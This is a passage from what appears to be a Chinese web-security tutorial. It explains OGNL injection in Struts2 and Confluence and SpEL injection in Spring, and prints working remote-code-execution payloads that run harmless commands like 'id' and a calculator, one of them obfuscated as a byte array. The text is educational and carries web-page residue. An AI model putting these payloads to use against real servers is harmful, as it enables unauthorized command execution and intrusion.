不仅可以执行简单计算（首先生成一个ongl上下文，context），ongl还可以对类和对象进行操作。通过context来put的对象都会放入value属性中，穿进去的字符串就是该属性中的key，通过#key的形式来指定对象，也可以修改属性值和方法。有了这些基础我们就可以来构造ognl表达式来执行我们的命令struts2的ognl表达式注入漏洞，原理就是对用户的参数没有进行过滤，导致恶意参数直接传入到ognl的方法中命令执行。paylaod:\({#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}<\/p>\)<\/span>{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}比如 Atlassian Confluence 远程代码执行漏洞。payload:\({(#a=@<br\/>org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}<\/span><\/p>SpEL全称是Spring Expression Language是一种强大的表达式语言。在Spring产品组合中，它是表达式计算的基础。它支持在运行时查询和操作对象图，它可以与基于XML和基于注解的Spring配置还有bean定义一起使用。由于它能够在运行时动态分配值，因此可以为我们节省大量Java代码。<\/p>SpEL使用 #{…} 作为定界符，所有在大括号中的字符都将被认为是 SpEL表达式，我们可以在其中使用运算符，变量以及引用bean，属性和方法。spel表达式注入漏洞，将输入的参数直接当作表达式解析的参数，在解析过程中将造成命令执行。<\/p>http:\/\/127.0.0.1:8080\/test?input=new%20java.lang.ProcessBuilder(%22\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator%22).start()<\/p>http:\/\/127.0.0.1:8080\/hehe?payload=\)<\/span>{new
java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112,
112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99,
117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116,
101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117,
108, 97, 116, 111, 114})).start()}比如Spring Cloud Gateway 远程代码执行漏洞<\/p>